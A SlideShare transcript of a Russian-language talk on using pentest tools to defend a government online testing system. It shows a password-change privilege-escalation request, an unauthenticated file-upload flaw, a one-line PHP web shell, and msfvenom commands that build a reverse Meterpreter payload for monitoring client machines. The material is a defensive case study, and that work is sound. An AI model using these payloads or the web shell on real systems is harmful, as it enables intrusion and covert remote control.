SlideShare una empresa de Scribd logo
1 de 29
Descargar para leer sin conexión
Техники пентеста для
активной защиты
Mykola Ovcharuk (@movcharuk)
Mykola Ilin (@mykolailin)
$ whoami
Николай Овчарук
● консультант KievInfoSecurity Ltd, инженер безопасности Volia ISP
● network security dcua CTF team
Николай Ильин
● CTO KievInfoSecurity Ltd, научный сотрудник НТУУ “КПИ”
● сооснователь DefCon-UA , лидер OWASP Kiev, капитан dcua CTF team
● Email: m@infosec.kiev.ua
2
Содержание
1. Исходные данные
2. Задачи
3. Защита хостинга
4. Аудит системы тестирования
5. Solver
6. Контроль клиентских машин
7. Инциденты
8. Выводы
3
Исходные данные
● LEMP
● Веб-приложение на PHP
● Зоопарк из ~2k клиентских машин
● Открытый канал клиент-сервер
4
Задачи
● защита от вмешательства в процесс тестирования
● контроль целостности результатов тестирования
● обеспечение доступности системы
5
Защита хостинга
● Обновление системы
● IP-фильтрация
● Логирование на внешний независимый сервер
● Резервное копирование
6
Аудит системы тестирования
privilege escalation
POST /users/password/645 HTTP/1.1
Host: ***.gov.ua
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://***.gov.ua/users/update/645
Content-Length: 24
Cookie: PHPSESSID=l90s0ohv5v…04sqd23;
YII_CSRF_TOKEN=cd6fc8cf9110…1258473e6b512
Connection: keep-alive
users%5Bpassword%5D=1234
HTTP/1.1 200 OK
7
Аудит системы тестирования
preauth remote code execution
Расширение tiny_mce, плагин ajaxfilemanager позволяет загружать произвольные файлы без
аутентификации
http://***.gov.ua/assets/[6 hexdigits]/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php
Эксплуатируется без дополнительных средств
8
Аудит системы тестирования
9
Аудит системы тестирования
10
Аудит системы тестирования - 3
Notepad, web shell s.php
<?=`$_GET[1]`;?>
11
Аудит системы тестирования - 3
12
Аудит системы тестирования
13
Аудит системы тестирования
14
Аудит системы тестирования
15
Аудит системы тестирования
16
Аудит системы тестирования
17
Solver
~ 100 строк кода, 2 секунды и 100% результат
$ time ./gp_solver.py
session <Cookie PHPSESSID=... for zzz.gov.ua/>
logged in as K00000
...
5059:5068-20345 5145:5154-20692 6966:6975-27980 8126:8135-32626 4209:4218-
16952 6754:6763-27130 6370:6379-25593
test finished
RESULT 100%
./gp_solver.py 1.89s user 0.30s system 11% cpu 19.342 total
В промышленном использовании -- JavaScript реализация, Ctrl-C/Ctrl-V address bar
Подсветка правильных решений
18
Solver
Использованием солвера добились:
● Демонстрация бреши => изменение архитектуры
● Нагрузочное тестирование => оптимизация системных настроек
19
Контроль клиентских машин
● Терминальный доступ к системе тестирования
● Meterpreter для контроля процессов и не только
20
Контроль клиентских машин | Meterpreter
● Мониторинг системных процессов
● Printscreen, в случае подозрения на фрод
● Дамп памяти + volatility при анализе инцидентов
21
Контроль клиентских машин | Meterpreter
Пример генерации пейлоада:
$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=$IP LPORT=$Port PayloadUUIDTracking=true 
HandlerSSLCert=./$Cert.pem StagerVerifySSLCert=true PayloadUUIDName=$UUIDName -f exe -o ./$UUIDName.exe
Ждем подключений:
$ msfconsole -r /root/.msf4/msfconsole.rc -q -x 'use exploit/multi/handler; set PAYLOAD 
windows/meterpreter/reverse_winhttps; set LHOST $IP; set LPORT $Port; set HandlerSSLCert ./Cert.pem; 
set ExitOnSession false; set StagerVerifySSLCert true; set IgnoreUnknownPayloads true; 
set AutoRunScript multiscript -rc ./run.txt; exploit -j -z'
Контролируется целостность шеллкода при передаче, защита от MITM
22
Контроль клиентских машин | Meterpreter
$ cat /root/.msf4/payloads.json
"2b246a24f46aa2": {
"arch": "x86",
"platform": "windows",
"payload": "payload/windows/meterpreter/reverse_winhttps",
"datastore": {
"AutoSystemInfo": true,
"AutoVerifySession": true,
"HANDLERSSLCERT": "./Cert.pem",
"PayloadProxyIE": true,
"PayloadUUIDTracking": true,
"StagerVerifySSLCert": true
},
"name": "k0000",
"urls": [
"/KyRpaiT0buKeVp9XyMccFH...DKcycuab5Xj5fNpo-muQowoWzbWn180rRT3IH7JqaL"
]
23
Контроль клиентских машин | Meterpreter
msf exploit(handler) > sessions -l
<…>
118 meterpreter x86/win32 WS14User @ WS14 x.x.x.x:13788 -> y.y.y.y:63836 (172.16.1.142)
119 meterpreter x86/win32 WS221User @ WS221 x.x.x.x:13788 -> y.y.y.y:63837 (172.16.1.200)
120 meterpreter x86/win32 WS223User @ WS223 x.x.x.x:13788 -> y.y.y.y:63838 (172.16.1.213)
121 meterpreter x86/win32 WS141Admin @ WS141 x.x.x.x:13788 -> y.y.y.y:63413 (172.16.1.68)
122 meterpreter x86/win32 PCAdministrator @ PC x.x.x.x:13788 -> y.y.y.y:56938 (172.16.180.79)
24
Контроль клиентских машин | Meterpreter
Опрос всех машин:
<ruby>
framework.sessions.each do |num,session|
print_status("Session #{num}")
session.sys.process.get_processes().each do |x|
print_status(" #{num} = Process: #{x['pid']} #{x['name']}")
end
end
</ruby>
+ run winenum, сравнение конфигурации до и после начала теста
25
Контроль клиентских машин | Meterpreter
3 = Process: 1048 svchost.exe
3 = Process: 1176 spoolsv.exe
3 = Process: 1212 svchost.exe
3 = Process: 1428 taskhost.exe
3 = Process: 1548 explorer.exe
3 = Process: 1980 svchost.exe
3 = Process: 2016 TeamViewer_Service.exe
3 = Process: 1708 hkcmd.exe
3 = Process: 1700 igfxpers.exe
3 = Process: 2308 VDeck.exe
3 = Process: 2316 USBGuard.exe
3 = Process: 2328 jusched.exe
3 = Process: 2736 egui.exe
3 = Process: 2768 SearchIndexer.exe
26
Инциденты
● Неполный физический контроль на местах, <1 представитель на
аудиторию (помощь волонтеров)
● Не все уязвимости исправлены — вход под одним аккаунтом из 2 мест,
принимается первое решение (детектируется в аудите логов)
● Разработчики пишут код после начала промышленного тестирования и
имеют доступ к БД (детектируется при сверке статистики)
27
Выводы
● Время промышленной эксплуатации системы и предыдущие пентесты не
гарантируют безопасность.
● как разработчики, так и предыдущие аудиторы могут оказаться идиотами
● не зависит от заверений разработчиков, портфолио аудиторов и “cертификатов”, это не
CTF — объективные оценки квалификации часто отсутствуют
● Многие технологии “атакующей стороны” могут быть полезны при
защите.
● средства вторжения для нагрузочного тестирования
● средства доступа для контроля оконечных устройств
28
29

Más contenido relacionado

La actualidad más candente

Некриптографическое исследование носителей православной криптографии
Некриптографическое исследование носителей  православной криптографииНекриптографическое исследование носителей  православной криптографии
Некриптографическое исследование носителей православной криптографииSergey Soldatov
 
Device Fingerprint — лекарство от мошенничества. Все дело в дозировке
Device Fingerprint — лекарство от мошенничества. Все дело в дозировкеDevice Fingerprint — лекарство от мошенничества. Все дело в дозировке
Device Fingerprint — лекарство от мошенничества. Все дело в дозировкеPositive Hack Days
 
CodeFest 2012 - Пентест на стероидах
CodeFest 2012 - Пентест на стероидахCodeFest 2012 - Пентест на стероидах
CodeFest 2012 - Пентест на стероидахSergey Belov
 
Анализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторийАнализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторийPositive Hack Days
 
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"Defcon Moscow
 
(Не)безопасный frontend
(Не)безопасный frontend(Не)безопасный frontend
(Не)безопасный frontendSergey Belov
 
Астерит. Михаил Пузин. "Аудит защищенности внешнего периметра. Реальные приме...
Астерит. Михаил Пузин. "Аудит защищенности внешнего периметра. Реальные приме...Астерит. Михаил Пузин. "Аудит защищенности внешнего периметра. Реальные приме...
Астерит. Михаил Пузин. "Аудит защищенности внешнего периметра. Реальные приме...Expolink
 
From ERP to SCADA and back
From ERP to SCADA and backFrom ERP to SCADA and back
From ERP to SCADA and backqqlan
 
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/LinuxDefconRussia
 
Check Point. Сергей Чекрыгин. "На один шаг впереди"
Check Point. Сергей Чекрыгин. "На один шаг впереди"Check Point. Сергей Чекрыгин. "На один шаг впереди"
Check Point. Сергей Чекрыгин. "На один шаг впереди"Expolink
 
Игорь Павлов и Глеб Головин
Игорь Павлов и Глеб ГоловинИгорь Павлов и Глеб Головин
Игорь Павлов и Глеб ГоловинCodeFest
 
СВЯТ ЛОГИН «Як провести penetration testing c metasploit framework» QADay 2019
СВЯТ ЛОГИН «Як провести penetration testing c metasploit framework» QADay 2019СВЯТ ЛОГИН «Як провести penetration testing c metasploit framework» QADay 2019
СВЯТ ЛОГИН «Як провести penetration testing c metasploit framework» QADay 2019GoQA
 
Использование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестированияИспользование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестированияSQALab
 
Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...
Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...
Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...Yandex
 
Разбор сложных случаев OutOfMemoryError
Разбор сложных случаев OutOfMemoryErrorРазбор сложных случаев OutOfMemoryError
Разбор сложных случаев OutOfMemoryErrorVladimir Sitnikov
 
PT ESC - кто полечит доктора?
PT ESC - кто полечит доктора?PT ESC - кто полечит доктора?
PT ESC - кто полечит доктора?Alexey Kachalin
 
Уязвимости веб-сервисов
Уязвимости веб-сервисовУязвимости веб-сервисов
Уязвимости веб-сервисовPositive Hack Days
 
безопасность Ajax приложений александр капранов
безопасность Ajax приложений   александр капрановбезопасность Ajax приложений   александр капранов
безопасность Ajax приложений александр капрановMedia Gorod
 

La actualidad más candente (20)

Некриптографическое исследование носителей православной криптографии
Некриптографическое исследование носителей  православной криптографииНекриптографическое исследование носителей  православной криптографии
Некриптографическое исследование носителей православной криптографии
 
Device Fingerprint — лекарство от мошенничества. Все дело в дозировке
Device Fingerprint — лекарство от мошенничества. Все дело в дозировкеDevice Fingerprint — лекарство от мошенничества. Все дело в дозировке
Device Fingerprint — лекарство от мошенничества. Все дело в дозировке
 
CodeFest 2012 - Пентест на стероидах
CodeFest 2012 - Пентест на стероидахCodeFest 2012 - Пентест на стероидах
CodeFest 2012 - Пентест на стероидах
 
Анализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторийАнализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторий
 
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"
Defcon Moscow #0x0A - Nikita Kislitsin APT "Advanced Persistent Threats"
 
(Не)безопасный frontend
(Не)безопасный frontend(Не)безопасный frontend
(Не)безопасный frontend
 
JSQuest d:)
JSQuest   d:)JSQuest   d:)
JSQuest d:)
 
Астерит. Михаил Пузин. "Аудит защищенности внешнего периметра. Реальные приме...
Астерит. Михаил Пузин. "Аудит защищенности внешнего периметра. Реальные приме...Астерит. Михаил Пузин. "Аудит защищенности внешнего периметра. Реальные приме...
Астерит. Михаил Пузин. "Аудит защищенности внешнего периметра. Реальные приме...
 
From ERP to SCADA and back
From ERP to SCADA and backFrom ERP to SCADA and back
From ERP to SCADA and back
 
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
 
Check Point. Сергей Чекрыгин. "На один шаг впереди"
Check Point. Сергей Чекрыгин. "На один шаг впереди"Check Point. Сергей Чекрыгин. "На один шаг впереди"
Check Point. Сергей Чекрыгин. "На один шаг впереди"
 
Игорь Павлов и Глеб Головин
Игорь Павлов и Глеб ГоловинИгорь Павлов и Глеб Головин
Игорь Павлов и Глеб Головин
 
СВЯТ ЛОГИН «Як провести penetration testing c metasploit framework» QADay 2019
СВЯТ ЛОГИН «Як провести penetration testing c metasploit framework» QADay 2019СВЯТ ЛОГИН «Як провести penetration testing c metasploit framework» QADay 2019
СВЯТ ЛОГИН «Як провести penetration testing c metasploit framework» QADay 2019
 
Использование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестированияИспользование Open Source инструментов для автоматизации тестирования
Использование Open Source инструментов для автоматизации тестирования
 
Do it yourself profiler
Do it yourself profilerDo it yourself profiler
Do it yourself profiler
 
Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...
Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...
Филипп Торчинский «Анализ производительности и отладка приложений с помощью D...
 
Разбор сложных случаев OutOfMemoryError
Разбор сложных случаев OutOfMemoryErrorРазбор сложных случаев OutOfMemoryError
Разбор сложных случаев OutOfMemoryError
 
PT ESC - кто полечит доктора?
PT ESC - кто полечит доктора?PT ESC - кто полечит доктора?
PT ESC - кто полечит доктора?
 
Уязвимости веб-сервисов
Уязвимости веб-сервисовУязвимости веб-сервисов
Уязвимости веб-сервисов
 
безопасность Ajax приложений александр капранов
безопасность Ajax приложений   александр капрановбезопасность Ajax приложений   александр капранов
безопасность Ajax приложений александр капранов
 

Similar a Техники пентеста для активной защиты - Николай Овчарук

Организация процесса регулярной обработки больших объемов данных
Организация процесса регулярной обработки больших объемов данныхОрганизация процесса регулярной обработки больших объемов данных
Организация процесса регулярной обработки больших объемов данныхCodeFest
 
Вячеслав Смирнов - Инструменты нагрузочного тестирования
Вячеслав Смирнов - Инструменты нагрузочного тестированияВячеслав Смирнов - Инструменты нагрузочного тестирования
Вячеслав Смирнов - Инструменты нагрузочного тестированияElias Fofanov
 
еще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложенийеще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложенийsnowytoxa
 
Building deployment pipeline - DevOps way
Building deployment pipeline - DevOps wayBuilding deployment pipeline - DevOps way
Building deployment pipeline - DevOps wayAndrey Rebrov
 
Антон Довгоброд: Highload и очереди задач на примере PHP + Gearman + Yii2
Антон Довгоброд: Highload и очереди задач на примере PHP + Gearman + Yii2Антон Довгоброд: Highload и очереди задач на примере PHP + Gearman + Yii2
Антон Довгоброд: Highload и очереди задач на примере PHP + Gearman + Yii2Oleg Poludnenko
 
Тестируй это / Виктор Русакович (GP Solutions)
Тестируй это / Виктор Русакович (GP Solutions)Тестируй это / Виктор Русакович (GP Solutions)
Тестируй это / Виктор Русакович (GP Solutions)Ontico
 
Автоматизированное тестирование - от сложного к простому, или Запускаем автот...
Автоматизированное тестирование - от сложного к простому, или Запускаем автот...Автоматизированное тестирование - от сложного к простому, или Запускаем автот...
Автоматизированное тестирование - от сложного к простому, или Запускаем автот...SQALab
 
Статический анализ: ищем ошибки... и уязвимости?
Статический анализ: ищем ошибки... и уязвимости?Статический анализ: ищем ошибки... и уязвимости?
Статический анализ: ищем ошибки... и уязвимости?Andrey Karpov
 
Moscow Python Conf 2016. Почему 100% покрытие это плохо?
Moscow Python Conf 2016. Почему 100% покрытие это плохо?Moscow Python Conf 2016. Почему 100% покрытие это плохо?
Moscow Python Conf 2016. Почему 100% покрытие это плохо?Ivan Tsyganov
 
Автоматизация задач с помощью EEM
Автоматизация задач с помощью EEMАвтоматизация задач с помощью EEM
Автоматизация задач с помощью EEMCisco Russia
 
Vladimir Trandafilov - When you need your system of cross browser testing
Vladimir Trandafilov - When you need your system of cross browser testingVladimir Trandafilov - When you need your system of cross browser testing
Vladimir Trandafilov - When you need your system of cross browser testingIevgenii Katsan
 
NeoQUEST: Tpm.txt.на что способно заморское железо
NeoQUEST: Tpm.txt.на что способно заморское железоNeoQUEST: Tpm.txt.на что способно заморское железо
NeoQUEST: Tpm.txt.на что способно заморское железоNeo_QUEST
 
Zabbix в сервисной компании  ОНЛАНТА - Zabbix Meetup Moscow
Zabbix в сервисной компании  ОНЛАНТА -  Zabbix Meetup Moscow Zabbix в сервисной компании  ОНЛАНТА -  Zabbix Meetup Moscow
Zabbix в сервисной компании  ОНЛАНТА - Zabbix Meetup Moscow Vadim Nesterov
 
QaApi: взгляд на тестирование с другой стороны баррикад
QaApi: взгляд на тестирование с другой стороны баррикадQaApi: взгляд на тестирование с другой стороны баррикад
QaApi: взгляд на тестирование с другой стороны баррикадDmitry Maruschenko
 
Опыт разработки и тестирования RESTful JSON сервиса
Опыт разработки и тестирования RESTful JSON сервисаОпыт разработки и тестирования RESTful JSON сервиса
Опыт разработки и тестирования RESTful JSON сервисаIlya Chesnokov
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорьdrupalconf
 
Кутумов - Автоматизация тестирования транспортных карт
Кутумов - Автоматизация тестирования транспортных картКутумов - Автоматизация тестирования транспортных карт
Кутумов - Автоматизация тестирования транспортных картqasib
 

Similar a Техники пентеста для активной защиты - Николай Овчарук (20)

Организация процесса регулярной обработки больших объемов данных
Организация процесса регулярной обработки больших объемов данныхОрганизация процесса регулярной обработки больших объемов данных
Организация процесса регулярной обработки больших объемов данных
 
Continuous monitoring
Continuous monitoringContinuous monitoring
Continuous monitoring
 
Scorex framework
Scorex frameworkScorex framework
Scorex framework
 
Automation testing desktop applications
Automation testing desktop applicationsAutomation testing desktop applications
Automation testing desktop applications
 
Вячеслав Смирнов - Инструменты нагрузочного тестирования
Вячеслав Смирнов - Инструменты нагрузочного тестированияВячеслав Смирнов - Инструменты нагрузочного тестирования
Вячеслав Смирнов - Инструменты нагрузочного тестирования
 
еще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложенийеще один недостаток современных клиент серверных приложений
еще один недостаток современных клиент серверных приложений
 
Building deployment pipeline - DevOps way
Building deployment pipeline - DevOps wayBuilding deployment pipeline - DevOps way
Building deployment pipeline - DevOps way
 
Антон Довгоброд: Highload и очереди задач на примере PHP + Gearman + Yii2
Антон Довгоброд: Highload и очереди задач на примере PHP + Gearman + Yii2Антон Довгоброд: Highload и очереди задач на примере PHP + Gearman + Yii2
Антон Довгоброд: Highload и очереди задач на примере PHP + Gearman + Yii2
 
Тестируй это / Виктор Русакович (GP Solutions)
Тестируй это / Виктор Русакович (GP Solutions)Тестируй это / Виктор Русакович (GP Solutions)
Тестируй это / Виктор Русакович (GP Solutions)
 
Автоматизированное тестирование - от сложного к простому, или Запускаем автот...
Автоматизированное тестирование - от сложного к простому, или Запускаем автот...Автоматизированное тестирование - от сложного к простому, или Запускаем автот...
Автоматизированное тестирование - от сложного к простому, или Запускаем автот...
 
Статический анализ: ищем ошибки... и уязвимости?
Статический анализ: ищем ошибки... и уязвимости?Статический анализ: ищем ошибки... и уязвимости?
Статический анализ: ищем ошибки... и уязвимости?
 
Moscow Python Conf 2016. Почему 100% покрытие это плохо?
Moscow Python Conf 2016. Почему 100% покрытие это плохо?Moscow Python Conf 2016. Почему 100% покрытие это плохо?
Moscow Python Conf 2016. Почему 100% покрытие это плохо?
 
Автоматизация задач с помощью EEM
Автоматизация задач с помощью EEMАвтоматизация задач с помощью EEM
Автоматизация задач с помощью EEM
 
Vladimir Trandafilov - When you need your system of cross browser testing
Vladimir Trandafilov - When you need your system of cross browser testingVladimir Trandafilov - When you need your system of cross browser testing
Vladimir Trandafilov - When you need your system of cross browser testing
 
NeoQUEST: Tpm.txt.на что способно заморское железо
NeoQUEST: Tpm.txt.на что способно заморское железоNeoQUEST: Tpm.txt.на что способно заморское железо
NeoQUEST: Tpm.txt.на что способно заморское железо
 
Zabbix в сервисной компании  ОНЛАНТА - Zabbix Meetup Moscow
Zabbix в сервисной компании  ОНЛАНТА -  Zabbix Meetup Moscow Zabbix в сервисной компании  ОНЛАНТА -  Zabbix Meetup Moscow
Zabbix в сервисной компании  ОНЛАНТА - Zabbix Meetup Moscow
 
QaApi: взгляд на тестирование с другой стороны баррикад
QaApi: взгляд на тестирование с другой стороны баррикадQaApi: взгляд на тестирование с другой стороны баррикад
QaApi: взгляд на тестирование с другой стороны баррикад
 
Опыт разработки и тестирования RESTful JSON сервиса
Опыт разработки и тестирования RESTful JSON сервисаОпыт разработки и тестирования RESTful JSON сервиса
Опыт разработки и тестирования RESTful JSON сервиса
 
Easy authcache 2 кеширование для pro родионов игорь
Easy authcache 2   кеширование для pro родионов игорьEasy authcache 2   кеширование для pro родионов игорь
Easy authcache 2 кеширование для pro родионов игорь
 
Кутумов - Автоматизация тестирования транспортных карт
Кутумов - Автоматизация тестирования транспортных картКутумов - Автоматизация тестирования транспортных карт
Кутумов - Автоматизация тестирования транспортных карт
 

Más de HackIT Ukraine

"CyberGuard — проект государственно-частного партнерства по созданию киберцен...
"CyberGuard — проект государственно-частного партнерства по созданию киберцен..."CyberGuard — проект государственно-частного партнерства по созданию киберцен...
"CyberGuard — проект государственно-частного партнерства по созданию киберцен...HackIT Ukraine
 
"В поисках уязвимостей мобильных приложений", Алексей Голубев
"В поисках уязвимостей мобильных приложений", Алексей Голубев"В поисках уязвимостей мобильных приложений", Алексей Голубев
"В поисках уязвимостей мобильных приложений", Алексей ГолубевHackIT Ukraine
 
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
"Безопасность и надежность ПО в техногенном мире", Владимир ОбризанHackIT Ukraine
 
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий КайдаловHackIT Ukraine
 
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
"Безопасные Биткоин-транзакции без специального оборудования", Алексей КаракуловHackIT Ukraine
 
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
"Growth hack в маркетинге и бизнесе", Максим МирошниченкоHackIT Ukraine
 
"Как ловят хакеров в Украине", Дмитрий Гадомский
"Как ловят хакеров в Украине", Дмитрий Гадомский"Как ловят хакеров в Украине", Дмитрий Гадомский
"Как ловят хакеров в Украине", Дмитрий ГадомскийHackIT Ukraine
 
"Security Requirements Engineering", Oleksii Baranovskyi
"Security Requirements Engineering", Oleksii Baranovskyi"Security Requirements Engineering", Oleksii Baranovskyi
"Security Requirements Engineering", Oleksii BaranovskyiHackIT Ukraine
 
"Наступну атаку можна попередити", Олександр Чубарук
"Наступну атаку можна попередити", Олександр Чубарук"Наступну атаку можна попередити", Олександр Чубарук
"Наступну атаку можна попередити", Олександр ЧубарукHackIT Ukraine
 
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
"Preventing Loss of Personal Data on a Mobile Network", Oleksii LukinHackIT Ukraine
 
"How to make money with Hacken?", Dmytro Budorin
"How to make money with Hacken?", Dmytro Budorin"How to make money with Hacken?", Dmytro Budorin
"How to make money with Hacken?", Dmytro BudorinHackIT Ukraine
 
"Using cryptolockers as a cyber weapon", Alexander Adamov
"Using cryptolockers as a cyber weapon", Alexander Adamov"Using cryptolockers as a cyber weapon", Alexander Adamov
"Using cryptolockers as a cyber weapon", Alexander AdamovHackIT Ukraine
 
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde..."Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...HackIT Ukraine
 
"Bypassing two factor authentication", Shahmeer Amir
"Bypassing two factor authentication", Shahmeer Amir"Bypassing two factor authentication", Shahmeer Amir
"Bypassing two factor authentication", Shahmeer AmirHackIT Ukraine
 
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ..."Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ...HackIT Ukraine
 
"Introduction to Bug Hunting", Yasser Ali
"Introduction to Bug Hunting", Yasser Ali"Introduction to Bug Hunting", Yasser Ali
"Introduction to Bug Hunting", Yasser AliHackIT Ukraine
 
"Hack it. Found it. Sell it. How hackers can be successful in the business wo...
"Hack it. Found it. Sell it. How hackers can be successful in the business wo..."Hack it. Found it. Sell it. How hackers can be successful in the business wo...
"Hack it. Found it. Sell it. How hackers can be successful in the business wo...HackIT Ukraine
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim HegazyHackIT Ukraine
 
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...HackIT Ukraine
 
Владимир Махитко - Automotive security. New challenges
Владимир Махитко - Automotive security. New challengesВладимир Махитко - Automotive security. New challenges
Владимир Махитко - Automotive security. New challengesHackIT Ukraine
 

Más de HackIT Ukraine (20)

"CyberGuard — проект государственно-частного партнерства по созданию киберцен...
"CyberGuard — проект государственно-частного партнерства по созданию киберцен..."CyberGuard — проект государственно-частного партнерства по созданию киберцен...
"CyberGuard — проект государственно-частного партнерства по созданию киберцен...
 
"В поисках уязвимостей мобильных приложений", Алексей Голубев
"В поисках уязвимостей мобильных приложений", Алексей Голубев"В поисках уязвимостей мобильных приложений", Алексей Голубев
"В поисках уязвимостей мобильных приложений", Алексей Голубев
 
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
 
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
 
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
 
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
 
"Как ловят хакеров в Украине", Дмитрий Гадомский
"Как ловят хакеров в Украине", Дмитрий Гадомский"Как ловят хакеров в Украине", Дмитрий Гадомский
"Как ловят хакеров в Украине", Дмитрий Гадомский
 
"Security Requirements Engineering", Oleksii Baranovskyi
"Security Requirements Engineering", Oleksii Baranovskyi"Security Requirements Engineering", Oleksii Baranovskyi
"Security Requirements Engineering", Oleksii Baranovskyi
 
"Наступну атаку можна попередити", Олександр Чубарук
"Наступну атаку можна попередити", Олександр Чубарук"Наступну атаку можна попередити", Олександр Чубарук
"Наступну атаку можна попередити", Олександр Чубарук
 
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
 
"How to make money with Hacken?", Dmytro Budorin
"How to make money with Hacken?", Dmytro Budorin"How to make money with Hacken?", Dmytro Budorin
"How to make money with Hacken?", Dmytro Budorin
 
"Using cryptolockers as a cyber weapon", Alexander Adamov
"Using cryptolockers as a cyber weapon", Alexander Adamov"Using cryptolockers as a cyber weapon", Alexander Adamov
"Using cryptolockers as a cyber weapon", Alexander Adamov
 
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde..."Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
 
"Bypassing two factor authentication", Shahmeer Amir
"Bypassing two factor authentication", Shahmeer Amir"Bypassing two factor authentication", Shahmeer Amir
"Bypassing two factor authentication", Shahmeer Amir
 
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ..."Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
 
"Introduction to Bug Hunting", Yasser Ali
